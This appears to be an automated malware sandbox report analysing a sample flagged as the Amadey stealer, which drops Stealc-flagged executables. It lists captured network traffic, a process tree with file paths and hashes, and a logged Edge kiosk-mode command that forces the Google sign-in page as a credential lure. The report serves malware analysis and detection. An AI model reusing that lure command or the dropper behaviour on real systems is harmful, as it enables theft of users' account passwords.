2024-08-31 23:30:22 UTC	567	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9
2024-08-31 23:30:22 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Sat, 31 Aug 2024 23:30:22 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49761	142.250.80.46	443	3208	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:30:22 UTC	567	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9
2024-08-31 23:30:22 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Sat, 31 Aug 2024 23:30:22 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49763	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:30:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-31 23:30:22 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=234918 Date: Sat, 31 Aug 2024 23:30:22 GMT Content-Length: 55 Connection: close X-CID: 2
2024-08-31 23:30:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49765	142.251.41.4	443	3208	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 23:30:22 UTC	887	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.2045.47" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9
2024-08-31 23:30:22 UTC	704	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat, 31 Aug 2024 23:20:50 GMT Expires: Sun, 08 Sep 2024 23:20:50 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 572 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-08-31 23:30:22 UTC	686	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-08-31 23:30:22 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a eb Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-08-31 23:30:22 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff fc Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-08-31 23:30:22 UTC	1390	IN	Data Raw: f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-08-31 23:30:22 UTC	574	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Target ID:	0
Start time:	19:28:55
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x820000
File size:	1'925'120 bytes
MD5 hash:	0F6E649713CB19B7CAB1CDC80DF57009
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2047655108.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2007416106.0000000005030000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:28:57
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Imagebase:	0x8c0000
File size:	1'925'120 bytes
MD5 hash:	0F6E649713CB19B7CAB1CDC80DF57009
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2072271866.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2031890477.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:28:57
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0x8c0000
File size:	1'925'120 bytes
MD5 hash:	0F6E649713CB19B7CAB1CDC80DF57009
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2034774572.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2075198346.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:30:00
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Imagebase:	0x8c0000
File size:	1'925'120 bytes
MD5 hash:	0F6E649713CB19B7CAB1CDC80DF57009
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2656061306.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3244825650.00000000008C1000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	19:30:05
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe"
Imagebase:	0xaa0000
File size:	1'790'976 bytes
MD5 hash:	4847D6885ADC7EA78FDF9918C384CECB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000007.00000002.2755758341.00000000016EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:30:07
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe"
Imagebase:	0xbf0000
File size:	1'790'976 bytes
MD5 hash:	4847D6885ADC7EA78FDF9918C384CECB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.2834974000.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:30:11
Start date:	31/08/2024
Path:	C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe"
Imagebase:	0x9e0000
File size:	917'504 bytes
MD5 hash:	D6F5BCA2F2CE2407AE4BF9115CFCA6D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:30:11
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:30:11
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2116,i,16112167788991068290,14803182423369865752,262144 --disable-features=TranslateUI /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	19:30:12
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	19:30:13
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2300,i,7838999706846974579,15815768999128644373,262144 --disable-features=TranslateUI /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	19:30:16
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7020 --field-trial-handle=2300,i,7838999706846974579,15815768999128644373,262144 --disable-features=TranslateUI /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:30:16
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=4828 --field-trial-handle=2300,i,7838999706846974579,15815768999128644373,262144 --disable-features=TranslateUI /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:30:28
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:30:29
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2624 --field-trial-handle=2536,i,9573157328777106886,9819326916295841096,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	19:30:29
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=1816 --field-trial-handle=2536,i,9573157328777106886,9819326916295841096,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:30:36
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:30:37
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2124,i,10162133090582848946,17402805719632758939,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:30:37
Start date:	31/08/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=3596 --field-trial-handle=2124,i,10162133090582848946,17402805719632758939,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 0524017C Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f83353cd227fa1ca606a67b018fc2059e002e0e558335fcb50b0d8334f2c9f6
Instruction ID: 1cfb5eb3b1ddba15e79f947b34a7ff6c99fbd19328b0c5fc169a0d1af8eb4825
Opcode Fuzzy Hash: 6f83353cd227fa1ca606a67b018fc2059e002e0e558335fcb50b0d8334f2c9f6
Instruction Fuzzy Hash: 6A21B0EB17D120BE714AC1816B1C9F66F7EE9D3630331846BF503D9442E2D81A8D2931

Function 05240231 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b9225d376ebe5c93bb18ad3c93e3bab8aceaeaac67c286ca34d55d3f427b5c6
Instruction ID: 7789fd38349b35302437610378eceed34c7f8b9fe843d65257a34ee09c3cdd99
Opcode Fuzzy Hash: 1b9225d376ebe5c93bb18ad3c93e3bab8aceaeaac67c286ca34d55d3f427b5c6
Instruction Fuzzy Hash: 7921FFEB16D1207EA14AD5816B58DF66FBFE9C7630331846BF643D9482E2D40ECD6831

Function 052401FE Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be74a4284a566196c29031dde91e91ea7606560b3e9b36c41acb2979eefa7d2f
Instruction ID: 6fe9e4add4a6ea56174e474a4eba61449a72cdc840bccc377c8da9a8fb832dbb
Opcode Fuzzy Hash: be74a4284a566196c29031dde91e91ea7606560b3e9b36c41acb2979eefa7d2f
Instruction Fuzzy Hash: 2121AFEB17D110BE604AC5816B1C9FA7A6FE9D3630330842BF607DD542E2E41AC96872

Function 05240207 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77e02247b714dcd28f98e5dd8891128bc5b416987aa61985bcad0c0e271fce92
Instruction ID: 932228c1d1e5ca1357da2641eabf60d38c3d320fa3ea5637ef453d2d6f3c9ba5
Opcode Fuzzy Hash: 77e02247b714dcd28f98e5dd8891128bc5b416987aa61985bcad0c0e271fce92
Instruction Fuzzy Hash: A52190EB17D1207E714AD5816B5C9FA6E7FE9D3630331842BF903D9542E2D40E8D2871

Function 05240201 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2049338973.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5240000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca4e0f4005ba45a6488412871e1958f2b72f789d55c6bacc83d710a9d4911cbb
Instruction ID: 5eb3b60c4fb283964b9b30c97377c509b001799d7d75d4dfe5f4f38fdc0464df
